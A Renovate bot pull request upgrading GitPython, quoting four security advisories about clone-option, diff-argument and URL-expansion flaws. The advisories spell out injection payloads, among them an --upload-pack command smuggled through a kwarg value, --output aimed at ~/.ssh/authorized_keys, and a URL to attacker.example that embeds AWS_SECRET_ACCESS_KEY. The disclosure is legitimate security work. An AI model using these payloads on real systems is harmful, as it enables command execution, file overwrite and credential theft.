Update dependency GitPython to v3.1.55 [SECURITY]#2517
Open
renovate[bot] wants to merge 1 commit into
Open
Conversation
Signed-off-by: Renovate Bot <bot@renovateapp.com>
renovate
Bot
force-pushed
the
renovate/pypi-gitpython-vulnerability
branch
from
July 25, 2026 00:44
8c19d18 to
cb3246b
Compare
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
This PR contains the following updates:
==3.1.53→==3.1.55GitPython: Incomplete unsafe_git_clone_options denylist omits --template enabling arbitrary command execution via clone hooks
GHSA-6p8h-3wgx-97gf
More information
Details
Summary
GitPython's
unsafe_git_clone_optionsdenylist omits--template.git clone --template=<dir>copies<dir>/hooks/into the new repository and runs them (post-checkoutfires during clone), so a caller who can influence clone options can achieve arbitrary command execution in the defaultallow_unsafe_options=Falseconfiguration.Root Cause
base.py:145-152definesunsafe_git_clone_options = ["--upload-pack","-u","--config","-c"]—--templateis absent. The guard candidate['--template']passescheck_unsafe_options(verified). git copies the hook directory and executespost-checkoutat checkout time. git'sprotocol.allow/GIT_ALLOW_PROTOCOLdo not gate--template; the incomplete denylist is the only defense.Impact
Arbitrary OS command execution during clone (default config). Requires an attacker-readable directory containing an executable hook — a genuine second precondition (realistic via shared filesystems, upload dirs,
/tmp, or attacker-writable network paths), reflected as AC:H.Proof of Concept
Attack Chain
<dir>/hooks/post-checkout(chmod +x). Guard: n/a (filesystem).Repo.clone_from(url, path, template='<dir>'). Guard:check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options). Bypass proof:--templatenot on the denylist -> passes (verified candidate['--template'], no error).post-checkoutat checkout. Impact: ACE, default config (verified marker created).Bypass Evidence
Live-verified on HEAD (tag 3.1.53): guard candidate
['--template']passed with no error; stagedpost-checkouthook executed duringclone_from, creating the marker. Independent of the value-smuggle bypass (--templateis a legitimate long option that survives any single-char-value fix). Not covered by any existing advisory.Affected Versions
<= 3.1.53Suggested Fix
Add
--template(and audit for other hook/exec-influencing options) tounsafe_git_clone_options.Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Arbitrary file overwrite via git diff --output argument injection in Diffable.diff (key- and value-controlled)
GHSA-fjr4-x663-mwxc
More information
Details
Summary
Diffable.diff()forwards**kwargsstraight intodiff/diff_treewith nocheck_unsafe_optionsguard.Diffableis mixed intoCommit,Tree,IndexFile, andSubmodule, giving a broad surface.git diff --output=<path>writes real patch content to an attacker-chosen path, enabling arbitrary file overwrite.Root Cause
diff.py:188-283builds and runs the diff command with nocheck_unsafe_optionsanywhere in the method (grep-confirmed). Additionallydiff.py:265doesargs.insert(0, other), placing the caller-suppliedotherref BEFORE the--separator, so a value of--output=/pathis parsed by git as an option — a value-only control path requiring no kwarg key.Impact
Overwrite/corrupt any file at process privilege with attacker-chosen path (e.g.
~/.ssh/authorized_keys, configs, lockfiles). Content is real diff/patch bytes (attacker-influenced). Per the skill's rule, controlling WHICH file is overwritten = I:H regardless of content constraints.Proof of Concept
Attack Chain
commit.diff(other=<user ref>)withother = "--output=/home/app/.ssh/authorized_keys". Guard: none inDiffable.diff. Bypass proof: nocheck_unsafe_optionsin the method body (grep);otherinserted pre---at diff.py:265.git diff-tree <sha> --output=/home/app/.ssh/authorized_keys -r ...-> git opens+truncates the target then writes diff content. Impact: overwrite/corrupt any file at process privilege (attacker chooses the path). Verified argv and victim overwrite live.Bypass Evidence
Live-verified on HEAD (tag 3.1.53): both key-control (
output=) and value-control (other='--output=...') overwrote a victim file with real diff-tree content; argv confirmed['git','diff-tree','<sha>','--output=/victim','-r',...]. This is the same value-control model GHSA-956x deemed fix-worthy foriter_commits(rev='--output=')— butdiffis a distinct, unguarded sink NOT touched by that fix.Affected Versions
<= 3.1.53Suggested Fix
Add
check_unsafe_optionstoDiffable.diff(mirroringiter_commits/archive), and/or place--end-of-optionsbefore theotherref so it cannot be parsed as an option.Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Unsafe git option guard bypass via single-character kwarg value token smuggling enables arbitrary command execution
GHSA-r9mr-m37c-5fr3
More information
Details
Summary
GitPython's
check_unsafe_optionsguard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since) can be bypassed for every guarded method (clone/clone_from,fetch/pull/push,ls_remote,iter_commits,blame,archive) by smuggling an option token inside the VALUE of a single-character kwarg. In the defaultallow_unsafe_options=Falseconfiguration this yields arbitrary command execution via--upload-pack.Root Cause
The guard builds its candidate option list from kwarg KEYS only:
_option_candidates([], {"n":"--upload-pack=<cmd>"})returns['-n'](cmd.py:1042-1046 derives the candidate from the key, never the value).-nis not on the denylist, socheck_unsafe_optionspasses. Buttransform_kwarg('n', value, split_single_char_options=True)(cmd.py:1600-1606) emits two argv tokens['-n', '--upload-pack=<cmd>']. git then parses the second token as--upload-packand executes the attacker-supplied command. The guard never inspects the value that becomes a separate argv token.Impact
Arbitrary OS command execution as the host process (via
--upload-pack) in the default configuration, affecting all guarded methods since they all build candidates through the name-only_option_candidates.Proof of Concept
File-write variant on a guarded revision command:
iter_commits('HEAD', g='--output=/path')-> candidate['-g']passes, argv['-g','--output=/path'], victim file truncated.Attack Chain
Repo.clone_from(url, path, n="--upload-pack=touch /tmp/ACE;git-upload-pack"). Guard:check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options)at base.py. Bypass proof:_option_candidates([], {"n":"--upload-pack=..."})->['-n'](key-only), not on denylist -> no UnsafeOptionError (verified live).transform_kwarg('n', value, split_single_char_options=True)->['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']. Guard: none (guard already passed on name-only candidate). Bypass proof: verified transform emits two tokens.git clone -n --upload-pack='touch ...;git-upload-pack' -- <src> <dst>; git parses and runs the second token. Impact: ACE (marker created, verified end-to-end).Bypass Evidence
Live-verified on HEAD (tag 3.1.53):
_option_candidatesreturns key-only candidate['-n'];transform_kwargsemits the smuggled--upload-pack=token; clone_from with the payload created the marker file; the direct-nameupload_pack=form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option, GHSA-x2qx multi-before-split) are BLOCKED on HEAD — this is a distinct kwarg-value->separate-token vector.Affected Versions
<= 3.1.53Suggested Fix
Make
_option_candidatesalso emit candidates derived from single-character kwarg VALUES whensplit_single_char_optionsis in effect, OR runcheck_unsafe_optionsover the fully-transformed argv rather than the reconstructed name-only candidate list.Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)
GHSA-94p4-4cq8-9g67
More information
Details
Summary
The fix for GHSA-rwj8-pgh3-r573 stopped
Repo.clone_from()from running caller-supplied URLs throughos.path.expandvars(), but it guarded only that one caller.Remote.create()— reached from the publicRepo.create_remote()and itsRemote.add()alias — still passes an attacker-influenceable URL throughGit.polish_url()with the defaultexpand_vars=True. A URL such ashttp://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.gitis expanded server-side to embed the hosting process's environment secret, written into.git/config, and then transmitted to the attacker's host on the nextfetch/pull. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed.Root Cause
Fix commit
8ac5a305added anexpand_varsparameter toGit.polish_url()(defaultTrue) and usedexpand_vars=Falseonly inRepo._clone()(git/repo/base.py:1455). The shared helper's dangerous default was left in place, and the other callers were not updated.git/remote.py:811,Remote.create:check_unsafe_protocols()runs after expansion here, so it rejects anext::payload but does nothing about anhttps://URL that carries an expanded secret in its path or host — the disclosure primitive.The same unguarded call also sits at
git/objects/submodule/base.py:611(Submodule.add), which writes the expanded URL into.gitmodules(a tracked file) and.git/config.Steps to Reproduce
Prerequisites
gitonPATH(for the fetch step)Step 1: Install GitPython 3.1.53 in a clean venv
Step 2: Write the PoC
Step 3: Run it
Expected output (the listener's ephemeral port is shown as
PORT):The
${GP_SENTINEL_SECRET}token in the supplied URL is replaced with the environment value both in the stored.git/configURL and in the request that reaches the attacker-controlled host.Suggested Fix
Pass
expand_vars=Falseat the remaining URL callers, matching the clone fix:git/remote.pyRemote.create:url = Git.polish_url(url, expand_vars=False)git/objects/submodule/base.pySubmodule.add:url = Git.polish_url(url, expand_vars=False)More robustly, flip the
Git.polish_url()default toexpand_vars=False(env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in.Cleanup
Impact
Any secret in the hosting process environment (
AWS_SECRET_ACCESS_KEY,GITHUB_TOKEN, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed toRepo.create_remote()/Remote.add(). The secret is expanded into.git/configimmediately and transmitted over the network (DNS + HTTP) on the nextfetch/pull/remote update. This is the documented "import repository from URL" attacker model of GHSA-rwj8-pgh3-r573 — CI servers, git-hosting mirrors, and dependency scanners — applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches.gitmodules(a committable file) viaSubmodule.add().Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
Release Notes
gitpython-developers/GitPython (GitPython)
v3.1.55: - SECURITYCompare Source
What's Changed
Full Changelog: gitpython-developers/GitPython@3.1.54...3.1.55
v3.1.54: - SECURITYCompare Source
What's Changed
Full Changelog: gitpython-developers/GitPython@3.1.53...3.1.54
Configuration
📅 Schedule: (UTC)
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about these updates again.
This PR was generated by Mend Renovate. View the repository job log.